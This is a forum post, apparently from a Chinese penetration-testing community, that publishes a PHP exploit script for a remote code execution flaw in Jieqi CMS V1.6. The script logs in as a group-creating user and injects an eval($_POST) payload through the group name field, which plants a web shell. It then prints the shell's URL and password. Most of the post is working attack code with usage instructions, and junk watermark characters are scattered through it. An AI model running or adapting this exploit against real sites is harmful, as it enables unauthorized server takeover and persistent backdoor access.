中国网络渗透测试联盟

标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP [打印本页]

作者: admin    时间: 2013-2-23 11:28
标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。) p* B& F& f+ [9 ~& O  ^

+ q2 L5 k4 W, o0 u
  U- v( F2 \$ g. o5 f该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。2 v. U2 R" `0 E" K5 m; E
需要有一个能创建圈子的用户。
9 q7 G! F2 P( h* b/ e * M+ Q$ K6 q, r8 A' @4 m
<?php
8 Q1 }& Z% I+ R2 {$ ]: B
# u! M, J- C2 a- Mprint_r('
0 y2 J2 G; W4 s9 o+---------------------------------------------------------------------------+
& u6 H; [+ v, W; m0 PJieqi CMS V1.6 PHP Code Injection Exploit1 r8 m  ?- d5 g4 E) U
by flyh4t- V5 J) E: Y: v* o
mail: phpsec at hotmail dot com
+ U6 q. E9 {1 O/ f7 F) e+ O- yteam: http://www.wolvez.org/ i3 c' U' q9 D: I( g9 B
+---------------------------------------------------------------------------+
2 D" V: D7 l  K  |'); /**
- c& ?& a+ P& R" p: G1 i- s * works regardless of php.ini settings
1 i+ R5 J7 ~& c; u9 g*/ if ($argc < 5) { print_r('
$ \. H; L- `2 j- K3 u+---------------------------------------------------------------------------+5 F2 D/ ^* J( V, S6 a' {  E. _
Usage: php '.$argv[0].' host path username* T# d. J! [& U7 W4 ~) u6 K
host:      target server (ip/hostname)
: {$ T; ~0 U) f- S) [path:      path to jieqicms 4 X  e+ F; f$ _) \0 i
uasename:  a username who can create group
; \, ~5 g0 a& k+ _+ [Example:# v' l. z( |% L; L+ v+ v% h
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
/ c) `; V# B  v+---------------------------------------------------------------------------+/ P" g. u- Y- q0 ~
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961" t0 }2 K, p& L+ V; g. ~/ n
Content-Disposition: form-data; name="gname"8 ]' h# @, E! i4 ~4 X3 I# U# R- R- k

. K3 i( @) N) x$ N: \) T'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
3 e; }- B/ B% K5 Z4 r7 e! Z+ C-----------------------------232811682799610 ~: N. \4 t$ Q! ^
Content-Disposition: form-data; name="gcatid"
: z1 E& m6 A! z
5 b0 q# k0 I9 ?, d1# G" ~" B( U. }9 Z! q* P
-----------------------------23281168279961
9 N/ M( G" \+ D+ a( F) [6 N1 \Content-Disposition: form-data; name="gaudit"* i9 P4 G3 ?" P. @& I
4 Z- i( }. p9 L1 R' z, @; \+ p
14 m* l( G. X3 w) y: i8 ^
-----------------------------23281168279961
5 H# a& b4 f+ M* sContent-Disposition: form-data; name="gbrief"
/ Y/ {- Z, W7 s7 }! H
) ]( C! t( {: @2 K: W: n. A0 ]! t1
3 h. E! |" ]; J/ W$ m+ d-----------------------------23281168279961--7 B( y, [8 Z$ `1 V$ |
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com* X. q) S' ]3 f1 z5 ]9 ]1 L  h2 a
( J" ^1 K) \7 X1 ?
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2